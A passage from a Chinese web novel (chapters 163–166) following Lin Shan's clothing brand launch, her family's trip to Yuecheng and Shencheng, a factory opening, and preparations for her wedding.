“今年这个花子好漂亮！”林珊笑眯眯地对贺正岩说。 贺正岩乐道：“明年更好看！” 说罢，他还趁两位长辈在前头放礼花放得无比投入之时，偷偷凑过去亲了林珊一口，惹得她一记娇嗔：“好好的。” 贺正岩开怀大笑，再过五个多月他们就结婚了！ 第163章 第163章 宣发启动 初一所有人都睡了个懒觉, 下午林珊带大家去新食品厂的工地看了一眼后，就都窝回去玩儿麻将了。 初二林红回门串亲戚，林珊不但安排了她姐想吃的炒蟹和红焖羊肉, 还特地给小昊昊做了两道他爱吃的糖醋里脊和虾仁滑蛋，双皮奶也给他做了一个。 小家伙穿着新衣服, 老老实实坐林红边上吃得那叫一个香啊，小嘴嚼得慢, 吃得又投入又干净，实在是太招人喜欢了。 林珊这顿饭基本都在给他添菜了, 一大一小开心得不得了。 一大家子都是大忙人, 每年也只有过年这几天能稍微歇会儿，北方冬天又冷, 窝在家里玩儿麻将几乎成了最受欢迎的娱乐方式。 都是自家人, 输赢也无所谓, 就图个乐子。 轻松了几天之后，贺正岩跟姜春荣就先回京市了。林珊还要再住几天, 制定一下公司新一年的目标, 开几个会。 以后安河这边, 主要还是作为食品公司的主战场，“红珊”的业务她会逐渐往京市那边转。两个公司的规模都越来越大，以后势必要分开地方。 食品公司今年没有出新品的计划，全年的目标是继续攻占酱菜市场，把国民优质品牌的形象深深刻进老百姓的心里。看着不复杂, 实际做起来任务还是非常重的。 至于安河“红珊”这边的目标, 则是继续开疆扩土。 沪市的店进行到一半就过年了，等开年之后，小分队就得马不停蹄地过去继续加油干。小分队的新成员李春刚都已经招好了, 有两位是从老店提拔上来的，有两位是新招的，能力都很不错。人员多起来，他们也能好好调个休。 京市那边主要负责“红珊”品牌的运营业务，这得林珊回去之后再展开工作。 3月22号就要正式启动“红珊”的宣传攻势了，除了全国性的电视广告，地广和文字媒体也要同步进行。工程量非常大，年前大概完成了七、八成左右的准备工作，剩下的需要开年后再对接确认一下，以保万无一失。 林珊忙完安河的安排之后，就迅速回京市了，赵桂花趁着开年比较空闲，也陪她一块儿过去了。毕竟眼瞅着闺女结婚的日子越来越近，婚房正在装修，两个孩子又都忙，她就想着自己过去给把把关。 分局家属院的房子装修好后，赵桂花还是第一次来，惊叹地逛完一圈后，搂着林珊猛夸她：“真不愧是我闺女啊，太漂亮了这屋！这柜子真好看，回头咱家也做一套！” “好，家里做得再大点儿才好看。” “这窗帘子做得也好看，正好咱家的窗帘该换了，我回去也做一套去。” “哎呦，这厨房柜子里还能藏抽屉呢！” 林珊笑了，“通通都给家里做一套，京市有的，安河也要有！” “这丫头。”赵桂花被她逗乐了，突然想起家里刚买了小院儿的时候，窗帘都是她自己找碎布拼做的，转眼这京市的房子都买了！时间真快啊。 傍晚的时候，贺正岩带着姜春荣来家里吃饭。才几天没见，赵桂花就跟她姐有很多话要说，俩人还约好明天要一块儿去婚房看看。 那边的装修工作已经正式开始了，贺正岩过完年回京后就一直在安排这些事儿，图纸全是按照林珊设计的在做，家具年前也跟吕大爷定好了。只等着工期结束，迎接小夫妻俩的入住。 次日，一行人去了婚房。 林珊年前来过两次，那时候还没开始动工，现在看着师傅们在里头忙忙碌碌，她顿时就有了马上要结婚的真实感。 告诉贺正岩后，他还提意见，“我都盼这么久了 ，你现在才有真实感啊？” 林珊抱住他哄道：“对不起嘛，男女在结婚这件事上的感受是有区别的。你是接收一个人，我是要去到陌生的地方，不一样的。” 贺正岩低头亲她，“你要是怕陌生，以后我住你这儿也行。” 林珊乐了，“那你入赘吧。” “行啊。”贺正岩说着就又来亲她，林珊笑着躲开。 学校开学之后，课就没多少了，同学们所有的重心基本都在毕业论文上面。林珊也不例外，除了忙着“红珊”正式开始宣传前最后的准备工作，就都是在写论文了。 无论哪个时代，写论文都是件头疼的事儿。不过好在现在的要求简单得多，倒也没有花费她特别多的精力。 3月22号“红珊”的广告在电视上播出的时候，不管是京市、安河还是粤城的公司，大家都焦急地守在电视机前面。 大家为这件事努力了好几个月，现在终于要解开序幕了。 雷家最夸张，雷生金把家里的老老少少都叫来了，就为了第一时间让所有人都看见阿英设计的衣服。 随着进入黄金时间，一阵优美音乐响起，胡敏靓丽地出现在了电视里。短短的三十秒广告，她从干练的职场女性，到休闲优雅的时尚女郎，跟着晚上又变成了让人不敢直视的明媚女神，场景间切换自如，音乐完美搭配，胡敏散发迷人魅力的同时，衣服也出现了几次特写。 最后结尾时，“红珊”的招牌和字样一出现，阿英的眼泪瞬间哗啦啦地往下掉，她没想到结尾右下角还有她的名字！红珊春夏系列女装正式发布，设计师雷英！ “啊！我阿妹的名字！”阿强最先看见那行字，顿时激动得跳了起来。 “哪里哪里？！在哪？” “过去了！” “哎呀！太短了！还没看就没了！还有没有啊？！” “电视剧完了还有！” “等着！都等着！” 雷生金跟他老婆见闺女哭，他们也忍不住红了眼眶，这孩子为做衣服花费了多少心思，他们是看在眼里的，自家最宝贝的孩子，不但长大了，还这么有出息！这怎么能不让他们激动呢！ 两人紧紧抱住阿英，开心地又哭又笑。 阿英的三个哥哥也都围过来开心得不知道说什么好，小妹实在是太厉害了！她可是雷 家第一个上电视的人啊！当初跟在他们屁股后面哭鼻子的小丫头，现在已经成了大设计师了！ 这广告一上，可真就是红遍全国了啊！ 雷家那边激动不已，林珊的家里，赵桂花和姜春荣也看得惊叹不已。太好看了，拍得比电影还好看！俩人搂着林珊，把她夸出了花儿。 “咱家的衣服上了电视更好看！”赵桂花骄傲得不能行，“人家胡敏就是厉害啊，我一开始都没认出来她来！她夜里头穿得这个裙子真好看，珊丫头你穿上肯定也特别好！” “就是，要是有红色的，你们结婚的时候可以穿。”姜春荣也很喜欢那条裙子。 林珊瞧着连贺正岩都一脸的期待，笑道：“现在是没有，不过可以做一条，我本来就打算定做两件婚服的。” “噢哟！那太好了！定做好！一定要做得漂漂亮亮的！一辈子就这么一回，不穿得好看点儿都对不起自己！”赵桂花很遗憾她年轻的时候，没有穿过什么好看的衣服，结婚的时候两人一人一个军大褂就完事了。那时候都流行那么穿。 “也给正岩做两套西服穿穿！”赵桂花没忘了新郎官。 林珊跟贺正岩对视一眼，知道他在笑什么。其实关于结婚那天穿什么，两人之间就聊过了。她最喜欢贺正岩穿军装，觉得他穿军装的时候最好看、最迷人。那天她还说了很多让他开心骄傲的话，所以这人这会儿八成是在回味呢。 贺正岩清了下嗓子，“我穿军装就行了。” 赵桂花也回过味儿来了，“哦对，你是军人，是得这么穿。” 姜春荣笑道：“妹妹，说句不客气的话，咱这俩孩子穿什么不好看啊？” 赵桂花不能更同意了，大笑着说：“就是！也不看看咱这当妈的都多好看，生出的孩子肯定错不了！是吧姐？” “是。”姜春荣乐了。 林珊跟贺正岩也被她逗笑了，不过这倒是大实话，桂花女士和姜主任确实都很好看，现在看都很出色，更何况是年轻的时候了。 其实两位的岁数都不大，要是想找个伴儿，绝对不缺人。过年的时候，人家姐妹俩还聊过这事儿。 姜春荣表示，她对找伴儿不感兴趣，年轻的时候试过一回就够够的了。 赵桂花则是因为跟林老二感情很好，认准了自己是林家媳妇儿，接受不了再找人，只想守着两闺女生活。 俩人对彼此的想法都很理解，虽然是因为儿女结得缘分，但是越相处就越处得跟姐妹似的。 林珊跟贺正岩对此自然都非常高兴，不然有一方随便来点儿脾气，这日子以后就精彩了。 随着“红珊”电视广告的播出，明天开始所有其他类型的广告也会开始登出和展出。在这之前，林珊就已经让工厂大力囤春夏款的货了，不然只宣传不备货，那纯属有点儿本末倒置。 粤城的服装厂那边，阿英跟陈广志已经拿下了隔壁的厂子，近期就要开始动工。这次扩建之后，服装厂会比之前大上一倍多，产能的问题短时间内是不用怎么发愁了。 沪市那边的服装店最近也到了收尾的阶段，算算日子正好能赶上广告效果的爆发期。 沪市女同胞的时装品味一向走在时代的前端，“红珊”选的位置在繁华的商业区，相信广告一出，一定能打动万千爱美女性的心。 第164章 第164章 “红珊”爆火 最先感受到宣发效果的, 是京市的门店。众多的VIP客户，纷纷打来电话来想要预约新一季的衣服。 每个门店早早就印刷了好几本这一季的画报，供顾客们提前挑选自己看上的衣服。 好几位顾客一看画报, 就立刻直呼每一套都好漂亮！本来以为电视上那三套已经够美了，现在看了人家模特拍得照片, 真是哪一件都想买啊，这一回就连白衬衫都做得特别好看, 特别有品位！实在太让人心动了！ 各个门店的预定量都开始迅速上涨，虽然三月底的华北地区基本都还得穿厚外套, 但是已经挡不住爱美的女士们想要穿漂亮裙子的心了。 《时装》杂志四月份的封面是胡敏, 她穿着在袖口镶嵌有“红珊”金属标志的白衬衫，搭配剪裁绝佳的浅蓝色单裙, 笑得自信又大方, 大波浪发型, 简单的银项链配珍珠耳环，整个人散发着独有的迷人魅力。 里面的采访内容有一半是关于她的演艺生涯, 另一半则是跟“红珊”的缘分。讲“红珊”衣服的魅力, 品牌的理念, 无可挑剔的服务，以及这次电视广告拍摄中的感受。 她既是明星又是消费者，通篇文章写得非常有代入感，让人看了之后不仅更加喜爱胡敏，更是对“红珊”这个品牌多了许多了解和好感。 报纸登出的内容跟杂志则有所不同, 除了仍然用胡敏作为主题, 还生动讲述了阿英的故事，也就是品牌的故事。 这年头虽然电视已经慢慢开始走进百姓家里了，但报纸仍然是人民了解事情最主要的途径, 尤其是发行量巨大的报纸，隔一周就发一篇报纸带来的影响力，绝对不小于电视广告。 粤城那边更是夸张，“红珊”的广告刚一出来，粤城电视台就找到阿英想做个采访报道。阿英虽然很想上电视，但是更怕自己说错话，所以就询问林珊的主意。 林珊当然同意了，只叮嘱她跟对方搞好关系，提前做点儿准备就可以。 这年头的媒体人可比后世单纯多了，很少有人会本着使坏的目的，单纯为了吸引眼球来制造噱头。不过无论在哪个时代，跟对方搞好关系都很重要。 阿英懂这个，次日就约了记者大姐吃饭，还送出去两套衣服和一条胡敏的同款项链。 大姐高兴懵了，顿时觉得阿英简直是她的亲妹妹，采访做得那叫一个尽心尽力，还一直让摄影大哥把人拍好看点儿，提出来的所有问题也都是提前跟阿英对过稿的。 整个采访过程无比顺利，播出那天大姐还特地打电话通知阿英要记得收看。 阿英肯定不会忘的，全家都为她聚集在了一起，所有人紧盯着电视，只等着新闻播到她那个部分。 电视里主持人说完上一个新闻，就提到了近期最热的服装广告。 阿强立刻激动地大喊：“来了！来了！” “嘘！！！” 随着画面切换，记者大姐出现在了镜头里，她介绍完最近“红珊”服装备受瞩目的广告后，非常自然地引出策划了这么多好看衣服的设计师——雷英。 “阿妹！”雷二哥指着电视激动不已。 老大跟阿强更是立刻上前两步，整个身子都快要钻电视里去了。 雷生金夫妻俩既兴奋又紧张，紧盯着屏幕里的闺女，听她用普通话表达着对服装的喜爱，诉说着公司的专业，回答着记者提出的一切问题。什么设计这些衣服的灵感来自哪，粤城什么时候开店，什么时候能买到衣服，跟胡敏合作紧不紧张等等。 阿英表现得非常沉稳，她长得又特别明媚，以前爱在外面跑，所以人晒得很黑，现在常年在室内，捂得白白净净的，再加上穿得又好看，在电视里看着简直比很多明星都还洋气。瞬间又给“红珊”做了一大波广告。 远在京市的林珊看不见广告，同在粤城的郭广发家却看得一清二楚。 郭广发和江秀琴两口子高兴坏了，阿英也算是他们看着长大的，现在这么出息，上了电视还能表现得这么厉害，让他们也感到非常骄傲和自豪。不过于此同时，再看看自己儿子，就只有叹气了。 江秀琴猛掐了郭峰一下，“以前阿英对你多好啊，你说你要是开点儿窍，对人家好点儿，现在这么好的姑娘说不定就是我儿媳妇了！” 郭峰捂着被掐疼的胳膊，无话可说。他以前是真的只把阿英当个小妹妹，后来跟那个相亲对象没成之后，低迷过好一阵儿，阿英来看过他几次，鼓励他了一段时间见没效果之后就气跑了。后来只要再看见郭峰，就会讽刺他为了个女的要死不活的，不嫌丢人。 即使郭峰半年后已经满血复活了，她还是会讽刺他，搞得郭峰挺丢脸的。不过渐渐的，他也明白了阿英的心思。 其实阿英挺好看的，尤其是开始跟林珊合伙之后，人成熟了很多，虽然每回见他的时候，都还是一样幼稚，但是整个人肉眼可见的长开了，也白了，越来越有女孩子的味道了。 郭峰本来就喜欢漂亮的姑娘，心思逐渐就起来了。 可是他起来，阿英现在却满心满眼都是工作。任凭郭峰怎么献殷勤，也都只送他两个字——没空。 所以现在郭广发两口子，一看见他就叹气，一副恨铁不成钢的样子。 “你明天上午买点儿水果去看看阿英，她工作干得这么出色，天天忙得团团转，你这个当哥的，去表示一下总是应该的吧？”郭广发忍不住提醒这傻儿子。 郭峰眼睛一亮，“对啊。”之前被拒绝的已经有点儿蔫了，正愁没借口见面呢。 江秀琴看着迅速回屋准备的儿子，忍不住叹气，到底什么时候他们才能有儿媳妇啊！ 林珊那边虽然没有看到阿英的采访，却感受到了粤城那边的红火。聊公事的时候，阿英和她办公室的姑娘们一直在问，粤城这边到底什么时候能开店？ 这些天阿英的呼机经常有陌生人呼她，公司的电话也不但有人打过来问粤城为什么没有店！ 林珊没想到粤城的姑娘们这么热情，立刻改变了“在沪市开张后继续攻占长三角”的计划，直接奔赴珠三角的粤城，开设“红珊”在那边的第一家店。 目前沪市那边的店铺已经盛大开幕了，留在那儿督查试营业的小分队成员，还有一个多礼拜才能回到安河。毕竟那边每天都有那么多人排队，需要再观察一段时间寻找一下问题。只有这样不断地挑刺，才能确保给顾客提供更好的购物体验。 林珊准备这段时间，先请阿英那边的人开始寻觅店铺，这样等小分队集合齐之后，就可以直接赴粤城开干了。 粤城“红珊”那边的员工们，对这个消息兴奋不已，立刻纷纷开始行动，势必要找到全城最好的位置！ “红珊”这边的宣传大获成功，没了林兰的“祖兰”服装店，虽然还是有些生意，却被很多在报纸和杂志上见过“红珊”铺子的人给避雷了。 很多爱美的姑娘们，在知道了这是个假冒伪劣的店铺之后，纷纷透露给了亲近的小姐妹，大家形成了一个同仇敌忾的正义小联盟。 有些拐弯抹角认识阿英的人，在知道“红珊”马上要在粤城开店之后，更是开心得不得了，希望他们能快点儿，赶上夏天的话，正好能买胡敏身上的那条裙子！ 陈炳忠全家从过年起就都在唉声叹气，比起铺子生意越来越差，花了那么多钱没收回来，更让他们吐血的是偷跑出家的傻儿子，不但背着他们偷偷结了婚，还直接把人带回来逼宫了。 两个人跪在地上哭得一把鼻涕一把泪的，请求家里人的原谅，陈耀祖还告知放出重磅炸弹——林兰可能已经怀孕了，请爸妈不要逼她。把老两口给气得差点儿厥过去。 耀祖妈恶狠狠地瞪着林兰，吃了她的心都有。陈炳忠则感觉一下子老了十岁，瘫在椅子上连叹气的力气都没了。 陈炳坤最理智，想着既然生米都已经煮成熟饭了，再闹下去也无济于事，真要鱼死网破了，对耀祖的影响更大。更何况要是已经怀孕的话，那这么闹下去不是祸害无辜的孩子吗？ 于是在他不停地劝说下，躺了几天的夫妻俩，终于不得不接受这个沉重的打击。 证都领了，不办婚事陈家脸上也不好看，于是陈炳忠就让弟弟陈炳坤和弟媳全权负责，简单在酒楼办了几桌，夫妻俩强打起精神招待了一下宾客。 为了给儿子收拾烂摊子，他们还下令让全家人都把林兰的事儿烂在肚子里，谁都不许对外人透露半点风声。 顺利进了陈家门的林兰，不知道感恩，还暗暗在心里唾弃老两口抠门，婚事办得这么寒碜，不嫌丢人。 不过不管怎么着，这一关算是过了，接下来她的任务就是骗取陈耀祖父母的信任，一步步做陈家真正的主人。 想得挺好，谁知第二天等林兰一踏进“祖兰”服装店，就得知了营业额飞速下滑的噩耗。打听半天才知道原来林珊的“红珊”在她演戏蛰伏的这些日子，居然火到了粤城！ 林兰顿时气得恨不得立刻跑回安河撕碎林珊的脸！一把火烧了林老二家！ 店员以为她的坏脸色是在为铺子发愁，还担忧的地说“红珊”马上就要到把店开到粤城了，铺子都快找好了，到时候店里的生意恐怕会更不好。问她要怎么办才好。 林兰没工夫想怎么办才好，满脑子都想着怎么灭了林珊。这贱人真是不要脸，我都躲到这儿了，还要赶尽杀绝！ 好，你不是卖得好嘛？我就做跟你一模一样的衣服，便宜货谁不想要，我就不信到时候没人买！ 第165章 第165章 全家游深城 “红珊”宣发的大获成功, 导致所有门店每天都人满为患。姑娘们都想着即使春夏装还没上，买点儿现在穿的也好。 林珊特地叮嘱所有店长要确保每一位顾客的体验，即使是没有购物的顾客也要同样对待。人不够就加人, 限流一定要做好，还安排了专门的人员下去进行督店。 这段时间“红珊”从上到下都忙得团团转, 林珊白天忙公事忙得晕头转向，夜里回去还要给论文收尾, 不时又得抽出时间去婚房看看。 贺正岩心疼坏了，经常一下班就带着瓜果去看她。 林珊享受着他喂到嘴边的水果, 笑道：“过两天就好了, 主要是都赶在这个时间段了。” 贺正岩心里既为她取得的成绩感到骄傲，又不想她太累, “婚宴的事儿你什么都不用操心, 交给我办就行。” 林珊笑了, 知道他是心疼自己，垫脚亲了他一口, 甜甜地说了声“好”。 五月初的时候, 开店小分队正式奔赴粤城开店, 林珊也顺利完成了毕业答辩。从进入三月份就开始忙碌的日子，终于稍稍告下一个段落。 不过因为六月份还有婚事，所以她决定趁着这个空档去粤城看看。 这次公事没那么多，她就没有带员工，而是跟赵桂花、林红和王军一块儿去了, 当然还有小昊昊。昊昊已经两岁半了, 把他留在家里也不是不行，但这孩子不吵不闹的，带着一块儿出去玩玩也挺好的。 比较可惜的是贺正岩还要在京市忙工作和婚礼的事儿, 不然他也一起去就更好了。 小昊昊最远去过京市，本来大家还担心三十多个小时的火车，小家伙会哭闹，结果人家吃了睡睡了吃，看着窗外问这问那的。实在闷了，爸爸领着他去走廊上逛两圈也就好了。 对于一个两岁半的小孩子来说，实在是相当省心了。 这次雷家知道林珊带的都是家人，在家里安排好住宿的同时，又准备了接风宴。林珊一家人感激不尽，带了很多他们爱吃的特产。 饭桌上大家相谈甚欢，雷生金还一直不停地逗小昊昊，毕竟喜庆白嫩的小胖孩谁不喜欢啊。 林红虽然来过粤城，但是还从来没住过雷家，王军就更不用说了，两人对雷家的祖宅震惊，从踏进大门的那一刻就没停过。人还能住这么大的房子，跟公园似的，房间里还有空调，这要是都开着，光电费就得多少钱啊。 两口子夜里睡觉了还忍不住惊叹，真是人外有人天外有天啊。 次日一大早，阿英带着林珊一行人去了“红珊”的店面。 铺子位于粤城繁华的商业街，上下两层，租约是阿英的大哥帮忙谈妥的。小分队的人已经开始在里面装修了，一见林珊带着家人过来，大家都很开心。 按照杨艳汇 报的进度来看，最快七月底就能开业，粤城的姑娘们还是能赶上今年“红珊”的夏装的。 阿英兴奋的每天都要来店里逛一圈，看看进展，也看看有没有什么需要帮忙的。她实在是太期待粤城的第一家店了，以前只是知道“红珊”在别的地方非常火爆，现在则是迫不及待地想亲身在自己的家乡感受一下。 服装厂那边的扩建工作已经完成了，现在两个厂子合并到了一起，员工又招了二十多个，新购置的机器设备全部到位，产能比以前足足大了两倍多。 林珊好好感谢了阿英和陈广志一番，最近大家真得都辛苦了。 王军一直知道公司在这边有服装厂，没想到规模居然这么大，里头的设备非常先进，管理得也很严格，怪不得能做出那么多好看又质量高的衣服。 赵桂花和林红除了惊叹厂子变大了之外，还对阿英正在进行的秋冬季的样衣特别感兴趣。 今年秋冬季的广告，林珊定在了十月中旬，所以前几天设计稿通过之后，这边就马不停蹄地开始做样衣了。秋冬的衣服难做，准备的时间也稍微长一些。 秋冬季的服装稿，林珊没有带着全“红珊”的人参加，基本还跟以前一样，粤城这边弄好之后，发给她图纸就可以了。 阿英的团队进步飞速，林珊对每一款都很满意，其中最喜欢的是这一季的呢子大衣，每一件都非常有特色。一看就是“红珊”的风格和调性。 林红最喜欢这一回的毛衣，样式好看，颜色和图案更好看，感觉下面随便配上一条毛呢裙都特别洋气。 赵桂花则是啥都觉得好看，搂着阿英夸了又夸。昨天在雷家她就对着雷生金两口子夸了阿英半天，把人家说得那叫一个高兴，阿英妈都恨不得跟桂花女士结拜为干姊妹了。 因为春夏装的宣发所有人都走过一遍流程，跟各个渠道的关系也基本都建立了起来，所以这次再做秋冬装就很有章法了，效率明显比之前快了很多。 刘灿荣那边的广告策划也做得很好，合作过几次了，现在他们也基本摸清了林珊想要的风格和路子，只等衣服都做出来之后，跟胡敏约时间来拍摄就可以了。 林珊已经决定了如果到时候她没时间过来，就直接让阿英拍板。 这次带着家人来粤城，除了处理一些工作外，最主要就是想带着大家去到处逛逛。阿英非常忙碌，雷生金就安排了两个小伙子当地陪、司机兼保镖，带着林珊一家人到处玩儿了玩儿。 赵桂花来过，已经不怎么稀奇了，林红一家却没怎么逛过，不仅繁华程度让他们惊讶，对当地的风俗习惯更是好奇得不行。 小昊昊坐在雷家给他现找的小推车里，快乐的不得了，一路吃吃喝喝，看看花草玩玩水，说些童言童语，实在太可爱了。 粤城逛得差不多后，林珊又带着他们去了深城。 那边的房地产林红跟王军都还没有看过，再加上“御景华府”马上要开启预售，正好过去瞧瞧情况。 跟雷家比起来，大家对郭家就熟悉多了，见了郭有财一家，免不了一通热聊。除了谈生意，还聊起了林珊的婚事。郭有财表示他无论如何都要赶回去参加林珊的婚礼。 在场的郭广昌和郭广发也表示必须去，他们要给林珊撑腰，压一压京市那小子的气焰。让他家人知道，珊丫头背后可是有人的。 林珊笑着感谢大家，赵桂花和林红感动坏了，王军直接给几位敬了杯酒。 次日，林珊先带大家去了“富景丽苑”，林红跟王军看着环境这么好的小区，惊讶得嘴巴都合不上了。不能比啊，本来觉得他们京市的房子已经够好了，没想到跟这里一比还是差远了。 跟着惊讶还没消，等他们到了“御景华府”的工地，看了看售楼处的沙盘和小区规划后，更是彻底傻眼。 这么高的楼！这么厉害的设计！那么多钢筋水泥！那么多台电梯！最关键的是，小区里竟然还有游泳池！！！ 王军彻底开了眼，在得知房价之后，更是倒吸一口气，这边的有钱人才是真有钱啊！ “虽然明天才正式开始预售，但是之前已经被熟人和朋友定了二十多套了。”林珊笑着说。 “我的老天爷！”王军跟林红都难以置信，就连见过卖房热况的赵桂花也惊到了，“这么快？这边儿有钱人也太多了！” “是啊，以后会更多的。”林珊指着其中一栋楼，“这次股东们都分了一套房，咱家那套在这儿，对门是有财爷爷的。” “娘啊！真高！这住进去晕不晕啊？”赵桂花拍着心脏担心。 林珊乐道：“不会的，很多人都抢着要高层呢。风景好，采光好，也干净。” 林红懂了，“高得更贵是吧？” “是，楼层不一样价位也不同。” 王军感慨道：“还是得多读书啊，不读书怎么可能有这种远见，听见没昊昊，以后要多跟你小姨学习。” 昊昊正伸着胳膊想摸那些房子模型呢，突然被点名，抬头冲着爸爸傻笑。 大家瞬间被他逗乐，小家伙实在太萌了。 这次来深城，除了看房子和见世面外，还有一个目的就是购物。这边的东西跟京市和安河比起来，是既新潮又便宜，林珊想给婚房再置办一些东西，林红跟王军也想看看有没有什么相中的小物件。 于是一家人花了整整一天逛街。地点基本都是郭广盛让人带他们去的，从家用电器到屋内小摆设，再到床上用品，真是应有尽有。 一家人逛得眼花缭乱，中午饭只在路边随便吃了碗面就继续忙着大采购。 林红笑着感慨：“还从来没有这么痛快的买过东西，连军哥都相中了几样小电器。” 王军乐道：“太实惠了，在家里买至少贵一半儿，还没人家这边的新潮。” “那是，你们现在知道我为啥每回来都抱着东西回去了吧！”赵桂花这回又买了两个锅，电火锅自家留着，电饭锅送给隔壁杨老太家用。 每个人都满载而归，有的大件还得现调货过来，郭广昌说了他会负责给他们都邮过去的。 一家人感激不尽，临行前所有人又去了国贸旋转餐厅吃饭，这次林珊说什么也要请客来表达谢意，郭有财就没跟她争这个。 林红跟王军都是第一次来这里，稀罕得不行，小昊昊也高兴坏了，指着下面问东问西的，赵桂花还充当起了导游，指着那边的港城对他们说：“看见没，那儿就是港城，近不近？” “近。” “不过看着怎么还没咱这边儿富裕呢？”王军好奇。 赵桂花把郭广盛之前告诉她的话都说了，大家听完点点头，王军可惜道：“这么好的地盘当荒山，多可惜啊。” 林珊笑了，军哥越来越会从商业的角度看问题了。 第166章 第166章 婚事临近 “御景华府”的预售结束后, 公司就可以继续拍新地皮了。 林珊早已经把详细的图纸画给他们了，一但新成立的南山区和深城湾有地拍卖，不管是商用还是住宅类地皮, 无论多少价位都要拿下。 这次的“御景华府”是住宅和商铺相结合的配置，之后再拍下地皮, 如果各方面条件都要合适，盖办公楼就要提上日程了。 上市的事情12月份才能启动, 现在准备工作已经就绪，只等着时间到了提交申请。 等上市之后, 再拍地就容易多了, 不用非得贷款或自己人筹钱了。公司账上的资金也能做更多其他的事儿。 深城这边的“荣发”走得按部就班，很稳很顺。林珊自己一直想开设的房地产公司, 却还是欠些火候。 不过这种事儿急不来, 反正她本来就打算制定从非一线城市开始的发展路子, 还要结合商场和酒店，所以至少这近一两年, 时机还没办法成熟。总要给非一线 地区一些发展的时间。等多积累一些资本之后, 再开干也不错。 一行人返程之后, 林珊直接留在了安河，参加接下来的新食品厂的开业仪式。 那边全新的设备已经进场，师傅在进行最后的调试工作，等一切准备妥当，后天就可以办典礼了。 赵福最近忙得晕头转向, 既要确保厂里各个部门都万无一失, 工人的培训全部完成，还要操办仪式，把各位相关的领导都请到位。幸亏现在多了杜平和李国超帮忙, 老厂子那边的生产，他暂时可以先放一放。 贺正岩也从京市赶了过来，正好有一天假，看完典礼后还能直接把林珊带回去，省得她去挤火车。 这次新厂的开业庆典，可比在大河村的时候隆重多了。毕竟是全国知名的酱料品牌，又是占地面积那么大的私营企业，市里和乡里都有大领导出席，更别提村里的重视程度了。 场面一点儿都不亚于深城“富景丽苑”的竣工仪式，到处都是前来看热闹的村民，现场真可谓人山人海。 这次的台子没有搭在大门口，而是设在厂内的广场上。桌子一摆，红毯一铺，各位嘉宾挨个儿讲讲话，台下食品厂的全体员工热烈地鼓掌，最后鞭炮一放，锣鼓继续。 开业开得多了，流程也熟悉了起来。赵福带领导们参观完工厂后，又接受了安河电视台的记者采访。毕竟是这一片的大事儿，上面想要好好报道宣传一下。 林珊不喜欢这种露面的活动，所以只有赵福能胜任了。 中午在家里吃了顿饺子后，林珊就跟着贺正岩回京了。 这次在深城，她除了买婚房的东西，还给姜春荣带了几包咖啡粉。上次去她的住处，见到咖啡快喝完了，林珊正好就给安排上了。 姜春荣因为在美国长大的原因，身上还留着一些那边的习惯。早起用美式咖啡壶搞一杯美式喝喝，是她最喜欢的晨间活动。 贺正岩笑着感谢了一下林珊，惹得她送来一记娇嗔：“客气什么？” 贺正岩用她最爱说的话回道：“这不是客气，这是真心觉得温暖和感谢。” “……”林珊无言以对。 两个人的婚约定在6月24日，林珊的毕业典礼在20号举行，真真是一毕业就结婚。 婚房5月底能彻底装完，婚宴贺正岩也订好了地方，只等她回去确定菜品就行了。 另外，贺正岩还提前通知了远在粤省军区的二叔和嫁到沪市的小姑。别的亲戚来不来无所谓，这两位是至亲，就是下刀子也会赶回来的。 林珊只跟二叔和小姑通过电话，并没有见过真人。虽然她是经常去粤城，沪市也去过，但是贺正岩不在场，她一个人去见他的家人未免太尴尬了，也不太合礼数。 这回他们会提前回来，正好可以一并都见了。彼此认认脸儿，省得以后走个面对面都不认识。 尤其贺正岩还说过，二叔跟姑姑非常偏心他，不管是小时候还是现在，基本什么好东西都惦记着给他留一份儿。更不用说他们两家都跟姜春荣关系特别好，跟张秀英那边反而不怎么来往。这其中的意思就很明显了。 其实细细想来，贺正岩也挺幸福的，身边有这么多爱他的人。 林珊这次回京后，第一件正事就是回宿舍收拾东西。毕业答辩都做完了，只等着发证和开典礼就行了，完全不需要在学校住了。 不过同寝室四年，林珊还真有些舍不得徐青和陈小娟。她特地把两人带去店里挑了两套衣服，又一人送了一条项链。 徐青跟陈小娟为了表达谢意，非要请她去吃饭。 学校门口有家炒菜馆，三个人都很喜欢，价格不算特别便宜，口味那叫一个正宗。 三人要了四道菜，边吃边聊着之后的打算。 徐青保送了本校的研究生，说道：“要是将来成绩不错，我就继续读博士。家里倒是挺支持我继续学的，就是一直催搞对象有点儿烦。” 林珊笑了，“那你就没有喜欢的？之前不是还听你说过数学系的那个张——” “诶！打住打住！我那是瞎了眼，没看清楚！”徐青杏眼圆睁，一副见了鬼的模样。 陈小娟哈哈乐：“我看你是生张威的气吧，最近实习忙，有一阵没见他来献殷勤了。” 徐青不想提张威，硬生生地岔开话题问陈小娟：“你是真不想继续往上读了？” 陈小娟摇头，她是学机械工程的，因为成绩优异分配到了航天局，没有再继续读书的打算，“这么好的单位我既然进去了，就肯定不会去读研究生了。我喜欢做事，不喜欢在学校待着。” 林珊跟两人碰了碰汽水瓶，大家性格不同，志向不同，选择自然就会不同。不过不管干什么，三个人都在京市，以后见面也很方便。 自己的婚礼林珊准备请她俩来当伴娘，这边有习俗，伴娘非得没有结婚的小姑娘才行，所以请她俩和李倩学姐，然后再加上阿英、李娜和闫青，正好六个伴娘。 贺正岩那边虽然认识的人多，但是关系好的一个都不能当伴郎，因为他自己晚婚，同伴们连孩子都那么大了，只能找弟弟辈儿的。 贺启明为了参加婚礼，也准备大老远从美国赶回来。本来兄弟俩就有隔阂，这要是亲哥结婚这么重要的日子都不出现，不用贺振华开口，他自己都觉得欠揍。 张秀英当然没意见了，贺启明回来她还能多看看儿子呢。就是当天得强撑着扮演慈祥的后妈，这点让她一想就浑身难受。 姜春荣肯定也在，真不想看见她那张脸，尤其还是笑得无比开心的老脸！她儿子倒是结婚了，自己呢？大老远的把孩子送出国！想他都没办法飞过去看看！ 张秀英心里堵得慌，离贺正岩的婚事越近，她的心里就越堵得慌。原本还存着点儿想破坏的心思，后来得知姜春荣跟贺正岩过年都去人家那边过的年，她也就歇了那个心思，免得偷鸡不成蚀把米。 本来贺振华就对她爱答不理的，再把他给惹急了，保不齐真得在这个岁数离婚。到时候丢人不说，她这半辈子的努力岂不都白费了？姜春荣恐怕就等着她让位呢！ 为了不输阵，张秀英提前很久就开始准备那天要穿的衣服，心里暗暗发誓一定要把姜春荣给比下去！ 随着时间进入六月中旬，赵桂花直接从安河过来京市住了。一方面闺女的毕业典礼马上要召开了，二来婚礼的日子越来越近，不过来看看不放心。 